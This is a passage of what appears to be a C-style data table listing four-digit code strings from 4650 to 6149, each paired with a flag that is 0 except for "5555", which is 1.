}, { "4650", 0 }, { "4651", 0 }, { "4652", 0 }, { "4653", 0 }, { "4654", 0 }, { "4655", 0 }, { "4656", 0 }, { "4657", 0 }, { "4658", 0 }, { "4659", 0 }, { "4660", 0 }, { "4661", 0 }, { "4662", 0 }, { "4663", 0 }, { "4664", 0 }, { "4665", 0 }, { "4666", 0 }, { "4667", 0 }, { "4668", 0 }, { "4669", 0 }, { "4670", 0 }, { "4671", 0 }, { "4672", 0 }, { "4673", 0 }, { "4674", 0 }, { "4675", 0 }, { "4676", 0 }, { "4677", 0 }, { "4678", 0 }, { "4679", 0 }, { "4680", 0 }, { "4681", 0 }, { "4682", 0 }, { "4683", 0 }, { "4684", 0 }, { "4685", 0 }, { "4686", 0 }, { "4687", 0 }, { "4688", 0 }, { "4689", 0 }, { "4690", 0 }, { "4691", 0 }, { "4692", 0 }, { "4693", 0 }, { "4694", 0 }, { "4695", 0 }, { "4696", 0 }, { "4697", 0 }, { "4698", 0 }, { "4699", 0 }, { "4700", 0 }, { "4701", 0 }, { "4702", 0 }, { "4703", 0 }, { "4704", 0 }, { "4705", 0 }, { "4706", 0 }, { "4707", 0 }, { "4708", 0 }, { "4709", 0 }, { "4710", 0 }, { "4711", 0 }, { "4712", 0 }, { "4713", 0 }, { "4714", 0 }, { "4715", 0 }, { "4716", 0 }, { "4717", 0 }, { "4718", 0 }, { "4719", 0 }, { "4720", 0 }, { "4721", 0 }, { "4722", 0 }, { "4723", 0 }, { "4724", 0 }, { "4725", 0 }, { "4726", 0 }, { "4727", 0 }, { "4728", 0 }, { "4729", 0 }, { "4730", 0 }, { "4731", 0 }, { "4732", 0 }, { "4733", 0 }, { "4734", 0 }, { "4735", 0 }, { "4736", 0 }, { "4737", 0 }, { "4738", 0 }, { "4739", 0 }, { "4740", 0 }, { "4741", 0 }, { "4742", 0 }, { "4743", 0 }, { "4744", 0 }, { "4745", 0 }, { "4746", 0 }, { "4747", 0 }, { "4748", 0 }, { "4749", 0 }, { "4750", 0 }, { "4751", 0 }, { "4752", 0 }, { "4753", 0 }, { "4754", 0 }, { "4755", 0 }, { "4756", 0 }, { "4757", 0 }, { "4758", 0 }, { "4759", 0 }, { "4760", 0 }, { "4761", 0 }, { "4762", 0 }, { "4763", 0 }, { "4764", 0 }, { "4765", 0 }, { "4766", 0 }, { "4767", 0 }, { "4768", 0 }, { "4769", 0 }, { "4770", 0 }, { "4771", 0 }, { "4772", 0 }, { "4773", 0 }, { "4774", 0 }, { "4775", 0 }, { "4776", 0 }, { "4777", 0 }, { "4778", 0 }, { "4779", 0 }, { "4780", 0 }, { "4781", 0 }, { "4782", 0 }, { "4783", 0 }, { "4784", 0 }, { "4785", 0 }, { "4786", 0 }, { "4787", 0 }, { "4788", 0 }, { "4789", 0 }, { "4790", 0 }, { "4791", 0 }, { "4792", 0 }, { "4793", 0 }, { "4794", 0 }, { "4795", 0 }, { "4796", 0 }, { "4797", 0 }, { "4798", 0 }, { "4799", 0 }, { "4800", 0 }, { "4801", 0 }, { "4802", 0 }, { "4803", 0 }, { "4804", 0 }, { "4805", 0 }, { "4806", 0 }, { "4807", 0 }, { "4808", 0 }, { "4809", 0 }, { "4810", 0 }, { "4811", 0 }, { "4812", 0 }, { "4813", 0 }, { "4814", 0 }, { "4815", 0 }, { "4816", 0 }, { "4817", 0 }, { "4818", 0 }, { "4819", 0 }, { "4820", 0 }, { "4821", 0 }, { "4822", 0 }, { "4823", 0 }, { "4824", 0 }, { "4825", 0 }, { "4826", 0 }, { "4827", 0 }, { "4828", 0 }, { "4829", 0 }, { "4830", 0 }, { "4831", 0 }, { "4832", 0 }, { "4833", 0 }, { "4834", 0 }, { "4835", 0 }, { "4836", 0 }, { "4837", 0 }, { "4838", 0 }, { "4839", 0 }, { "4840", 0 }, { "4841", 0 }, { "4842", 0 }, { "4843", 0 }, { "4844", 0 }, { "4845", 0 }, { "4846", 0 }, { "4847", 0 }, { "4848", 0 }, { "4849", 0 }, { "4850", 0 }, { "4851", 0 }, { "4852", 0 }, { "4853", 0 }, { "4854", 0 }, { "4855", 0 }, { "4856", 0 }, { "4857", 0 }, { "4858", 0 }, { "4859", 0 }, { "4860", 0 }, { "4861", 0 }, { "4862", 0 }, { "4863", 0 }, { "4864", 0 }, { "4865", 0 }, { "4866", 0 }, { "4867", 0 }, { "4868", 0 }, { "4869", 0 }, { "4870", 0 }, { "4871", 0 }, { "4872", 0 }, { "4873", 0 }, { "4874", 0 }, { "4875", 0 }, { "4876", 0 }, { "4877", 0 }, { "4878", 0 }, { "4879", 0 }, { "4880", 0 }, { "4881", 0 }, { "4882", 0 }, { "4883", 0 }, { "4884", 0 }, { "4885", 0 }, { "4886", 0 }, { "4887", 0 }, { "4888", 0 }, { "4889", 0 }, { "4890", 0 }, { "4891", 0 }, { "4892", 0 }, { "4893", 0 }, { "4894", 0 }, { "4895", 0 }, { "4896", 0 }, { "4897", 0 }, { "4898", 0 }, { "4899", 0 }, { "4900", 0 }, { "4901", 0 }, { "4902", 0 }, { "4903", 0 }, { "4904", 0 }, { "4905", 0 }, { "4906", 0 }, { "4907", 0 }, { "4908", 0 }, { "4909", 0 }, { "4910", 0 }, { "4911", 0 }, { "4912", 0 }, { "4913", 0 }, { "4914", 0 }, { "4915", 0 }, { "4916", 0 }, { "4917", 0 }, { "4918", 0 }, { "4919", 0 }, { "4920", 0 }, { "4921", 0 }, { "4922", 0 }, { "4923", 0 }, { "4924", 0 }, { "4925", 0 }, { "4926", 0 }, { "4927", 0 }, { "4928", 0 }, { "4929", 0 }, { "4930", 0 }, { "4931", 0 }, { "4932", 0 }, { "4933", 0 }, { "4934", 0 }, { "4935", 0 }, { "4936", 0 }, { "4937", 0 }, { "4938", 0 }, { "4939", 0 }, { "4940", 0 }, { "4941", 0 }, { "4942", 0 }, { "4943", 0 }, { "4944", 0 }, { "4945", 0 }, { "4946", 0 }, { "4947", 0 }, { "4948", 0 }, { "4949", 0 }, { "4950", 0 }, { "4951", 0 }, { "4952", 0 }, { "4953", 0 }, { "4954", 0 }, { "4955", 0 }, { "4956", 0 }, { "4957", 0 }, { "4958", 0 }, { "4959", 0 }, { "4960", 0 }, { "4961", 0 }, { "4962", 0 }, { "4963", 0 }, { "4964", 0 }, { "4965", 0 }, { "4966", 0 }, { "4967", 0 }, { "4968", 0 }, { "4969", 0 }, { "4970", 0 }, { "4971", 0 }, { "4972", 0 }, { "4973", 0 }, { "4974", 0 }, { "4975", 0 }, { "4976", 0 }, { "4977", 0 }, { "4978", 0 }, { "4979", 0 }, { "4980", 0 }, { "4981", 0 }, { "4982", 0 }, { "4983", 0 }, { "4984", 0 }, { "4985", 0 }, { "4986", 0 }, { "4987", 0 }, { "4988", 0 }, { "4989", 0 }, { "4990", 0 }, { "4991", 0 }, { "4992", 0 }, { "4993", 0 }, { "4994", 0 }, { "4995", 0 }, { "4996", 0 }, { "4997", 0 }, { "4998", 0 }, { "4999", 0 }, { "5000", 0 }, { "5001", 0 }, { "5002", 0 }, { "5003", 0 }, { "5004", 0 }, { "5005", 0 }, { "5006", 0 }, { "5007", 0 }, { "5008", 0 }, { "5009", 0 }, { "5010", 0 }, { "5011", 0 }, { "5012", 0 }, { "5013", 0 }, { "5014", 0 }, { "5015", 0 }, { "5016", 0 }, { "5017", 0 }, { "5018", 0 }, { "5019", 0 }, { "5020", 0 }, { "5021", 0 }, { "5022", 0 }, { "5023", 0 }, { "5024", 0 }, { "5025", 0 }, { "5026", 0 }, { "5027", 0 }, { "5028", 0 }, { "5029", 0 }, { "5030", 0 }, { "5031", 0 }, { "5032", 0 }, { "5033", 0 }, { "5034", 0 }, { "5035", 0 }, { "5036", 0 }, { "5037", 0 }, { "5038", 0 }, { "5039", 0 }, { "5040", 0 }, { "5041", 0 }, { "5042", 0 }, { "5043", 0 }, { "5044", 0 }, { "5045", 0 }, { "5046", 0 }, { "5047", 0 }, { "5048", 0 }, { "5049", 0 }, { "5050", 0 }, { "5051", 0 }, { "5052", 0 }, { "5053", 0 }, { "5054", 0 }, { "5055", 0 }, { "5056", 0 }, { "5057", 0 }, { "5058", 0 }, { "5059", 0 }, { "5060", 0 }, { "5061", 0 }, { "5062", 0 }, { "5063", 0 }, { "5064", 0 }, { "5065", 0 }, { "5066", 0 }, { "5067", 0 }, { "5068", 0 }, { "5069", 0 }, { "5070", 0 }, { "5071", 0 }, { "5072", 0 }, { "5073", 0 }, { "5074", 0 }, { "5075", 0 }, { "5076", 0 }, { "5077", 0 }, { "5078", 0 }, { "5079", 0 }, { "5080", 0 }, { "5081", 0 }, { "5082", 0 }, { "5083", 0 }, { "5084", 0 }, { "5085", 0 }, { "5086", 0 }, { "5087", 0 }, { "5088", 0 }, { "5089", 0 }, { "5090", 0 }, { "5091", 0 }, { "5092", 0 }, { "5093", 0 }, { "5094", 0 }, { "5095", 0 }, { "5096", 0 }, { "5097", 0 }, { "5098", 0 }, { "5099", 0 }, { "5100", 0 }, { "5101", 0 }, { "5102", 0 }, { "5103", 0 }, { "5104", 0 }, { "5105", 0 }, { "5106", 0 }, { "5107", 0 }, { "5108", 0 }, { "5109", 0 }, { "5110", 0 }, { "5111", 0 }, { "5112", 0 }, { "5113", 0 }, { "5114", 0 }, { "5115", 0 }, { "5116", 0 }, { "5117", 0 }, { "5118", 0 }, { "5119", 0 }, { "5120", 0 }, { "5121", 0 }, { "5122", 0 }, { "5123", 0 }, { "5124", 0 }, { "5125", 0 }, { "5126", 0 }, { "5127", 0 }, { "5128", 0 }, { "5129", 0 }, { "5130", 0 }, { "5131", 0 }, { "5132", 0 }, { "5133", 0 }, { "5134", 0 }, { "5135", 0 }, { "5136", 0 }, { "5137", 0 }, { "5138", 0 }, { "5139", 0 }, { "5140", 0 }, { "5141", 0 }, { "5142", 0 }, { "5143", 0 }, { "5144", 0 }, { "5145", 0 }, { "5146", 0 }, { "5147", 0 }, { "5148", 0 }, { "5149", 0 }, { "5150", 0 }, { "5151", 0 }, { "5152", 0 }, { "5153", 0 }, { "5154", 0 }, { "5155", 0 }, { "5156", 0 }, { "5157", 0 }, { "5158", 0 }, { "5159", 0 }, { "5160", 0 }, { "5161", 0 }, { "5162", 0 }, { "5163", 0 }, { "5164", 0 }, { "5165", 0 }, { "5166", 0 }, { "5167", 0 }, { "5168", 0 }, { "5169", 0 }, { "5170", 0 }, { "5171", 0 }, { "5172", 0 }, { "5173", 0 }, { "5174", 0 }, { "5175", 0 }, { "5176", 0 }, { "5177", 0 }, { "5178", 0 }, { "5179", 0 }, { "5180", 0 }, { "5181", 0 }, { "5182", 0 }, { "5183", 0 }, { "5184", 0 }, { "5185", 0 }, { "5186", 0 }, { "5187", 0 }, { "5188", 0 }, { "5189", 0 }, { "5190", 0 }, { "5191", 0 }, { "5192", 0 }, { "5193", 0 }, { "5194", 0 }, { "5195", 0 }, { "5196", 0 }, { "5197", 0 }, { "5198", 0 }, { "5199", 0 }, { "5200", 0 }, { "5201", 0 }, { "5202", 0 }, { "5203", 0 }, { "5204", 0 }, { "5205", 0 }, { "5206", 0 }, { "5207", 0 }, { "5208", 0 }, { "5209", 0 }, { "5210", 0 }, { "5211", 0 }, { "5212", 0 }, { "5213", 0 }, { "5214", 0 }, { "5215", 0 }, { "5216", 0 }, { "5217", 0 }, { "5218", 0 }, { "5219", 0 }, { "5220", 0 }, { "5221", 0 }, { "5222", 0 }, { "5223", 0 }, { "5224", 0 }, { "5225", 0 }, { "5226", 0 }, { "5227", 0 }, { "5228", 0 }, { "5229", 0 }, { "5230", 0 }, { "5231", 0 }, { "5232", 0 }, { "5233", 0 }, { "5234", 0 }, { "5235", 0 }, { "5236", 0 }, { "5237", 0 }, { "5238", 0 }, { "5239", 0 }, { "5240", 0 }, { "5241", 0 }, { "5242", 0 }, { "5243", 0 }, { "5244", 0 }, { "5245", 0 }, { "5246", 0 }, { "5247", 0 }, { "5248", 0 }, { "5249", 0 }, { "5250", 0 }, { "5251", 0 }, { "5252", 0 }, { "5253", 0 }, { "5254", 0 }, { "5255", 0 }, { "5256", 0 }, { "5257", 0 }, { "5258", 0 }, { "5259", 0 }, { "5260", 0 }, { "5261", 0 }, { "5262", 0 }, { "5263", 0 }, { "5264", 0 }, { "5265", 0 }, { "5266", 0 }, { "5267", 0 }, { "5268", 0 }, { "5269", 0 }, { "5270", 0 }, { "5271", 0 }, { "5272", 0 }, { "5273", 0 }, { "5274", 0 }, { "5275", 0 }, { "5276", 0 }, { "5277", 0 }, { "5278", 0 }, { "5279", 0 }, { "5280", 0 }, { "5281", 0 }, { "5282", 0 }, { "5283", 0 }, { "5284", 0 }, { "5285", 0 }, { "5286", 0 }, { "5287", 0 }, { "5288", 0 }, { "5289", 0 }, { "5290", 0 }, { "5291", 0 }, { "5292", 0 }, { "5293", 0 }, { "5294", 0 }, { "5295", 0 }, { "5296", 0 }, { "5297", 0 }, { "5298", 0 }, { "5299", 0 }, { "5300", 0 }, { "5301", 0 }, { "5302", 0 }, { "5303", 0 }, { "5304", 0 }, { "5305", 0 }, { "5306", 0 }, { "5307", 0 }, { "5308", 0 }, { "5309", 0 }, { "5310", 0 }, { "5311", 0 }, { "5312", 0 }, { "5313", 0 }, { "5314", 0 }, { "5315", 0 }, { "5316", 0 }, { "5317", 0 }, { "5318", 0 }, { "5319", 0 }, { "5320", 0 }, { "5321", 0 }, { "5322", 0 }, { "5323", 0 }, { "5324", 0 }, { "5325", 0 }, { "5326", 0 }, { "5327", 0 }, { "5328", 0 }, { "5329", 0 }, { "5330", 0 }, { "5331", 0 }, { "5332", 0 }, { "5333", 0 }, { "5334", 0 }, { "5335", 0 }, { "5336", 0 }, { "5337", 0 }, { "5338", 0 }, { "5339", 0 }, { "5340", 0 }, { "5341", 0 }, { "5342", 0 }, { "5343", 0 }, { "5344", 0 }, { "5345", 0 }, { "5346", 0 }, { "5347", 0 }, { "5348", 0 }, { "5349", 0 }, { "5350", 0 }, { "5351", 0 }, { "5352", 0 }, { "5353", 0 }, { "5354", 0 }, { "5355", 0 }, { "5356", 0 }, { "5357", 0 }, { "5358", 0 }, { "5359", 0 }, { "5360", 0 }, { "5361", 0 }, { "5362", 0 }, { "5363", 0 }, { "5364", 0 }, { "5365", 0 }, { "5366", 0 }, { "5367", 0 }, { "5368", 0 }, { "5369", 0 }, { "5370", 0 }, { "5371", 0 }, { "5372", 0 }, { "5373", 0 }, { "5374", 0 }, { "5375", 0 }, { "5376", 0 }, { "5377", 0 }, { "5378", 0 }, { "5379", 0 }, { "5380", 0 }, { "5381", 0 }, { "5382", 0 }, { "5383", 0 }, { "5384", 0 }, { "5385", 0 }, { "5386", 0 }, { "5387", 0 }, { "5388", 0 }, { "5389", 0 }, { "5390", 0 }, { "5391", 0 }, { "5392", 0 }, { "5393", 0 }, { "5394", 0 }, { "5395", 0 }, { "5396", 0 }, { "5397", 0 }, { "5398", 0 }, { "5399", 0 }, { "5400", 0 }, { "5401", 0 }, { "5402", 0 }, { "5403", 0 }, { "5404", 0 }, { "5405", 0 }, { "5406", 0 }, { "5407", 0 }, { "5408", 0 }, { "5409", 0 }, { "5410", 0 }, { "5411", 0 }, { "5412", 0 }, { "5413", 0 }, { "5414", 0 }, { "5415", 0 }, { "5416", 0 }, { "5417", 0 }, { "5418", 0 }, { "5419", 0 }, { "5420", 0 }, { "5421", 0 }, { "5422", 0 }, { "5423", 0 }, { "5424", 0 }, { "5425", 0 }, { "5426", 0 }, { "5427", 0 }, { "5428", 0 }, { "5429", 0 }, { "5430", 0 }, { "5431", 0 }, { "5432", 0 }, { "5433", 0 }, { "5434", 0 }, { "5435", 0 }, { "5436", 0 }, { "5437", 0 }, { "5438", 0 }, { "5439", 0 }, { "5440", 0 }, { "5441", 0 }, { "5442", 0 }, { "5443", 0 }, { "5444", 0 }, { "5445", 0 }, { "5446", 0 }, { "5447", 0 }, { "5448", 0 }, { "5449", 0 }, { "5450", 0 }, { "5451", 0 }, { "5452", 0 }, { "5453", 0 }, { "5454", 0 }, { "5455", 0 }, { "5456", 0 }, { "5457", 0 }, { "5458", 0 }, { "5459", 0 }, { "5460", 0 }, { "5461", 0 }, { "5462", 0 }, { "5463", 0 }, { "5464", 0 }, { "5465", 0 }, { "5466", 0 }, { "5467", 0 }, { "5468", 0 }, { "5469", 0 }, { "5470", 0 }, { "5471", 0 }, { "5472", 0 }, { "5473", 0 }, { "5474", 0 }, { "5475", 0 }, { "5476", 0 }, { "5477", 0 }, { "5478", 0 }, { "5479", 0 }, { "5480", 0 }, { "5481", 0 }, { "5482", 0 }, { "5483", 0 }, { "5484", 0 }, { "5485", 0 }, { "5486", 0 }, { "5487", 0 }, { "5488", 0 }, { "5489", 0 }, { "5490", 0 }, { "5491", 0 }, { "5492", 0 }, { "5493", 0 }, { "5494", 0 }, { "5495", 0 }, { "5496", 0 }, { "5497", 0 }, { "5498", 0 }, { "5499", 0 }, { "5500", 0 }, { "5501", 0 }, { "5502", 0 }, { "5503", 0 }, { "5504", 0 }, { "5505", 0 }, { "5506", 0 }, { "5507", 0 }, { "5508", 0 }, { "5509", 0 }, { "5510", 0 }, { "5511", 0 }, { "5512", 0 }, { "5513", 0 }, { "5514", 0 }, { "5515", 0 }, { "5516", 0 }, { "5517", 0 }, { "5518", 0 }, { "5519", 0 }, { "5520", 0 }, { "5521", 0 }, { "5522", 0 }, { "5523", 0 }, { "5524", 0 }, { "5525", 0 }, { "5526", 0 }, { "5527", 0 }, { "5528", 0 }, { "5529", 0 }, { "5530", 0 }, { "5531", 0 }, { "5532", 0 }, { "5533", 0 }, { "5534", 0 }, { "5535", 0 }, { "5536", 0 }, { "5537", 0 }, { "5538", 0 }, { "5539", 0 }, { "5540", 0 }, { "5541", 0 }, { "5542", 0 }, { "5543", 0 }, { "5544", 0 }, { "5545", 0 }, { "5546", 0 }, { "5547", 0 }, { "5548", 0 }, { "5549", 0 }, { "5550", 0 }, { "5551", 0 }, { "5552", 0 }, { "5553", 0 }, { "5554", 0 }, { "5555", 1 }, { "5556", 0 }, { "5557", 0 }, { "5558", 0 }, { "5559", 0 }, { "5560", 0 }, { "5561", 0 }, { "5562", 0 }, { "5563", 0 }, { "5564", 0 }, { "5565", 0 }, { "5566", 0 }, { "5567", 0 }, { "5568", 0 }, { "5569", 0 }, { "5570", 0 }, { "5571", 0 }, { "5572", 0 }, { "5573", 0 }, { "5574", 0 }, { "5575", 0 }, { "5576", 0 }, { "5577", 0 }, { "5578", 0 }, { "5579", 0 }, { "5580", 0 }, { "5581", 0 }, { "5582", 0 }, { "5583", 0 }, { "5584", 0 }, { "5585", 0 }, { "5586", 0 }, { "5587", 0 }, { "5588", 0 }, { "5589", 0 }, { "5590", 0 }, { "5591", 0 }, { "5592", 0 }, { "5593", 0 }, { "5594", 0 }, { "5595", 0 }, { "5596", 0 }, { "5597", 0 }, { "5598", 0 }, { "5599", 0 }, { "5600", 0 }, { "5601", 0 }, { "5602", 0 }, { "5603", 0 }, { "5604", 0 }, { "5605", 0 }, { "5606", 0 }, { "5607", 0 }, { "5608", 0 }, { "5609", 0 }, { "5610", 0 }, { "5611", 0 }, { "5612", 0 }, { "5613", 0 }, { "5614", 0 }, { "5615", 0 }, { "5616", 0 }, { "5617", 0 }, { "5618", 0 }, { "5619", 0 }, { "5620", 0 }, { "5621", 0 }, { "5622", 0 }, { "5623", 0 }, { "5624", 0 }, { "5625", 0 }, { "5626", 0 }, { "5627", 0 }, { "5628", 0 }, { "5629", 0 }, { "5630", 0 }, { "5631", 0 }, { "5632", 0 }, { "5633", 0 }, { "5634", 0 }, { "5635", 0 }, { "5636", 0 }, { "5637", 0 }, { "5638", 0 }, { "5639", 0 }, { "5640", 0 }, { "5641", 0 }, { "5642", 0 }, { "5643", 0 }, { "5644", 0 }, { "5645", 0 }, { "5646", 0 }, { "5647", 0 }, { "5648", 0 }, { "5649", 0 }, { "5650", 0 }, { "5651", 0 }, { "5652", 0 }, { "5653", 0 }, { "5654", 0 }, { "5655", 0 }, { "5656", 0 }, { "5657", 0 }, { "5658", 0 }, { "5659", 0 }, { "5660", 0 }, { "5661", 0 }, { "5662", 0 }, { "5663", 0 }, { "5664", 0 }, { "5665", 0 }, { "5666", 0 }, { "5667", 0 }, { "5668", 0 }, { "5669", 0 }, { "5670", 0 }, { "5671", 0 }, { "5672", 0 }, { "5673", 0 }, { "5674", 0 }, { "5675", 0 }, { "5676", 0 }, { "5677", 0 }, { "5678", 0 }, { "5679", 0 }, { "5680", 0 }, { "5681", 0 }, { "5682", 0 }, { "5683", 0 }, { "5684", 0 }, { "5685", 0 }, { "5686", 0 }, { "5687", 0 }, { "5688", 0 }, { "5689", 0 }, { "5690", 0 }, { "5691", 0 }, { "5692", 0 }, { "5693", 0 }, { "5694", 0 }, { "5695", 0 }, { "5696", 0 }, { "5697", 0 }, { "5698", 0 }, { "5699", 0 }, { "5700", 0 }, { "5701", 0 }, { "5702", 0 }, { "5703", 0 }, { "5704", 0 }, { "5705", 0 }, { "5706", 0 }, { "5707", 0 }, { "5708", 0 }, { "5709", 0 }, { "5710", 0 }, { "5711", 0 }, { "5712", 0 }, { "5713", 0 }, { "5714", 0 }, { "5715", 0 }, { "5716", 0 }, { "5717", 0 }, { "5718", 0 }, { "5719", 0 }, { "5720", 0 }, { "5721", 0 }, { "5722", 0 }, { "5723", 0 }, { "5724", 0 }, { "5725", 0 }, { "5726", 0 }, { "5727", 0 }, { "5728", 0 }, { "5729", 0 }, { "5730", 0 }, { "5731", 0 }, { "5732", 0 }, { "5733", 0 }, { "5734", 0 }, { "5735", 0 }, { "5736", 0 }, { "5737", 0 }, { "5738", 0 }, { "5739", 0 }, { "5740", 0 }, { "5741", 0 }, { "5742", 0 }, { "5743", 0 }, { "5744", 0 }, { "5745", 0 }, { "5746", 0 }, { "5747", 0 }, { "5748", 0 }, { "5749", 0 }, { "5750", 0 }, { "5751", 0 }, { "5752", 0 }, { "5753", 0 }, { "5754", 0 }, { "5755", 0 }, { "5756", 0 }, { "5757", 0 }, { "5758", 0 }, { "5759", 0 }, { "5760", 0 }, { "5761", 0 }, { "5762", 0 }, { "5763", 0 }, { "5764", 0 }, { "5765", 0 }, { "5766", 0 }, { "5767", 0 }, { "5768", 0 }, { "5769", 0 }, { "5770", 0 }, { "5771", 0 }, { "5772", 0 }, { "5773", 0 }, { "5774", 0 }, { "5775", 0 }, { "5776", 0 }, { "5777", 0 }, { "5778", 0 }, { "5779", 0 }, { "5780", 0 }, { "5781", 0 }, { "5782", 0 }, { "5783", 0 }, { "5784", 0 }, { "5785", 0 }, { "5786", 0 }, { "5787", 0 }, { "5788", 0 }, { "5789", 0 }, { "5790", 0 }, { "5791", 0 }, { "5792", 0 }, { "5793", 0 }, { "5794", 0 }, { "5795", 0 }, { "5796", 0 }, { "5797", 0 }, { "5798", 0 }, { "5799", 0 }, { "5800", 0 }, { "5801", 0 }, { "5802", 0 }, { "5803", 0 }, { "5804", 0 }, { "5805", 0 }, { "5806", 0 }, { "5807", 0 }, { "5808", 0 }, { "5809", 0 }, { "5810", 0 }, { "5811", 0 }, { "5812", 0 }, { "5813", 0 }, { "5814", 0 }, { "5815", 0 }, { "5816", 0 }, { "5817", 0 }, { "5818", 0 }, { "5819", 0 }, { "5820", 0 }, { "5821", 0 }, { "5822", 0 }, { "5823", 0 }, { "5824", 0 }, { "5825", 0 }, { "5826", 0 }, { "5827", 0 }, { "5828", 0 }, { "5829", 0 }, { "5830", 0 }, { "5831", 0 }, { "5832", 0 }, { "5833", 0 }, { "5834", 0 }, { "5835", 0 }, { "5836", 0 }, { "5837", 0 }, { "5838", 0 }, { "5839", 0 }, { "5840", 0 }, { "5841", 0 }, { "5842", 0 }, { "5843", 0 }, { "5844", 0 }, { "5845", 0 }, { "5846", 0 }, { "5847", 0 }, { "5848", 0 }, { "5849", 0 }, { "5850", 0 }, { "5851", 0 }, { "5852", 0 }, { "5853", 0 }, { "5854", 0 }, { "5855", 0 }, { "5856", 0 }, { "5857", 0 }, { "5858", 0 }, { "5859", 0 }, { "5860", 0 }, { "5861", 0 }, { "5862", 0 }, { "5863", 0 }, { "5864", 0 }, { "5865", 0 }, { "5866", 0 }, { "5867", 0 }, { "5868", 0 }, { "5869", 0 }, { "5870", 0 }, { "5871", 0 }, { "5872", 0 }, { "5873", 0 }, { "5874", 0 }, { "5875", 0 }, { "5876", 0 }, { "5877", 0 }, { "5878", 0 }, { "5879", 0 }, { "5880", 0 }, { "5881", 0 }, { "5882", 0 }, { "5883", 0 }, { "5884", 0 }, { "5885", 0 }, { "5886", 0 }, { "5887", 0 }, { "5888", 0 }, { "5889", 0 }, { "5890", 0 }, { "5891", 0 }, { "5892", 0 }, { "5893", 0 }, { "5894", 0 }, { "5895", 0 }, { "5896", 0 }, { "5897", 0 }, { "5898", 0 }, { "5899", 0 }, { "5900", 0 }, { "5901", 0 }, { "5902", 0 }, { "5903", 0 }, { "5904", 0 }, { "5905", 0 }, { "5906", 0 }, { "5907", 0 }, { "5908", 0 }, { "5909", 0 }, { "5910", 0 }, { "5911", 0 }, { "5912", 0 }, { "5913", 0 }, { "5914", 0 }, { "5915", 0 }, { "5916", 0 }, { "5917", 0 }, { "5918", 0 }, { "5919", 0 }, { "5920", 0 }, { "5921", 0 }, { "5922", 0 }, { "5923", 0 }, { "5924", 0 }, { "5925", 0 }, { "5926", 0 }, { "5927", 0 }, { "5928", 0 }, { "5929", 0 }, { "5930", 0 }, { "5931", 0 }, { "5932", 0 }, { "5933", 0 }, { "5934", 0 }, { "5935", 0 }, { "5936", 0 }, { "5937", 0 }, { "5938", 0 }, { "5939", 0 }, { "5940", 0 }, { "5941", 0 }, { "5942", 0 }, { "5943", 0 }, { "5944", 0 }, { "5945", 0 }, { "5946", 0 }, { "5947", 0 }, { "5948", 0 }, { "5949", 0 }, { "5950", 0 }, { "5951", 0 }, { "5952", 0 }, { "5953", 0 }, { "5954", 0 }, { "5955", 0 }, { "5956", 0 }, { "5957", 0 }, { "5958", 0 }, { "5959", 0 }, { "5960", 0 }, { "5961", 0 }, { "5962", 0 }, { "5963", 0 }, { "5964", 0 }, { "5965", 0 }, { "5966", 0 }, { "5967", 0 }, { "5968", 0 }, { "5969", 0 }, { "5970", 0 }, { "5971", 0 }, { "5972", 0 }, { "5973", 0 }, { "5974", 0 }, { "5975", 0 }, { "5976", 0 }, { "5977", 0 }, { "5978", 0 }, { "5979", 0 }, { "5980", 0 }, { "5981", 0 }, { "5982", 0 }, { "5983", 0 }, { "5984", 0 }, { "5985", 0 }, { "5986", 0 }, { "5987", 0 }, { "5988", 0 }, { "5989", 0 }, { "5990", 0 }, { "5991", 0 }, { "5992", 0 }, { "5993", 0 }, { "5994", 0 }, { "5995", 0 }, { "5996", 0 }, { "5997", 0 }, { "5998", 0 }, { "5999", 0 }, { "6000", 0 }, { "6001", 0 }, { "6002", 0 }, { "6003", 0 }, { "6004", 0 }, { "6005", 0 }, { "6006", 0 }, { "6007", 0 }, { "6008", 0 }, { "6009", 0 }, { "6010", 0 }, { "6011", 0 }, { "6012", 0 }, { "6013", 0 }, { "6014", 0 }, { "6015", 0 }, { "6016", 0 }, { "6017", 0 }, { "6018", 0 }, { "6019", 0 }, { "6020", 0 }, { "6021", 0 }, { "6022", 0 }, { "6023", 0 }, { "6024", 0 }, { "6025", 0 }, { "6026", 0 }, { "6027", 0 }, { "6028", 0 }, { "6029", 0 }, { "6030", 0 }, { "6031", 0 }, { "6032", 0 }, { "6033", 0 }, { "6034", 0 }, { "6035", 0 }, { "6036", 0 }, { "6037", 0 }, { "6038", 0 }, { "6039", 0 }, { "6040", 0 }, { "6041", 0 }, { "6042", 0 }, { "6043", 0 }, { "6044", 0 }, { "6045", 0 }, { "6046", 0 }, { "6047", 0 }, { "6048", 0 }, { "6049", 0 }, { "6050", 0 }, { "6051", 0 }, { "6052", 0 }, { "6053", 0 }, { "6054", 0 }, { "6055", 0 }, { "6056", 0 }, { "6057", 0 }, { "6058", 0 }, { "6059", 0 }, { "6060", 0 }, { "6061", 0 }, { "6062", 0 }, { "6063", 0 }, { "6064", 0 }, { "6065", 0 }, { "6066", 0 }, { "6067", 0 }, { "6068", 0 }, { "6069", 0 }, { "6070", 0 }, { "6071", 0 }, { "6072", 0 }, { "6073", 0 }, { "6074", 0 }, { "6075", 0 }, { "6076", 0 }, { "6077", 0 }, { "6078", 0 }, { "6079", 0 }, { "6080", 0 }, { "6081", 0 }, { "6082", 0 }, { "6083", 0 }, { "6084", 0 }, { "6085", 0 }, { "6086", 0 }, { "6087", 0 }, { "6088", 0 }, { "6089", 0 }, { "6090", 0 }, { "6091", 0 }, { "6092", 0 }, { "6093", 0 }, { "6094", 0 }, { "6095", 0 }, { "6096", 0 }, { "6097", 0 }, { "6098", 0 }, { "6099", 0 }, { "6100", 0 }, { "6101", 0 }, { "6102", 0 }, { "6103", 0 }, { "6104", 0 }, { "6105", 0 }, { "6106", 0 }, { "6107", 0 }, { "6108", 0 }, { "6109", 0 }, { "6110", 0 }, { "6111", 0 }, { "6112", 0 }, { "6113", 0 }, { "6114", 0 }, { "6115", 0 }, { "6116", 0 }, { "6117", 0 }, { "6118", 0 }, { "6119", 0 }, { "6120", 0 }, { "6121", 0 }, { "6122", 0 }, { "6123", 0 }, { "6124", 0 }, { "6125", 0 }, { "6126", 0 }, { "6127", 0 }, { "6128", 0 }, { "6129", 0 }, { "6130", 0 }, { "6131", 0 }, { "6132", 0 }, { "6133", 0 }, { "6134", 0 }, { "6135", 0 }, { "6136", 0 }, { "6137", 0 }, { "6138", 0 }, { "6139", 0 }, { "6140", 0 }, { "6141", 0 }, { "6142", 0 }, { "6143", 0 }, { "6144", 0 }, { "6145", 0 }, { "6146", 0 }, { "6147", 0 }, { "6148", 0 }, { "6149", 0 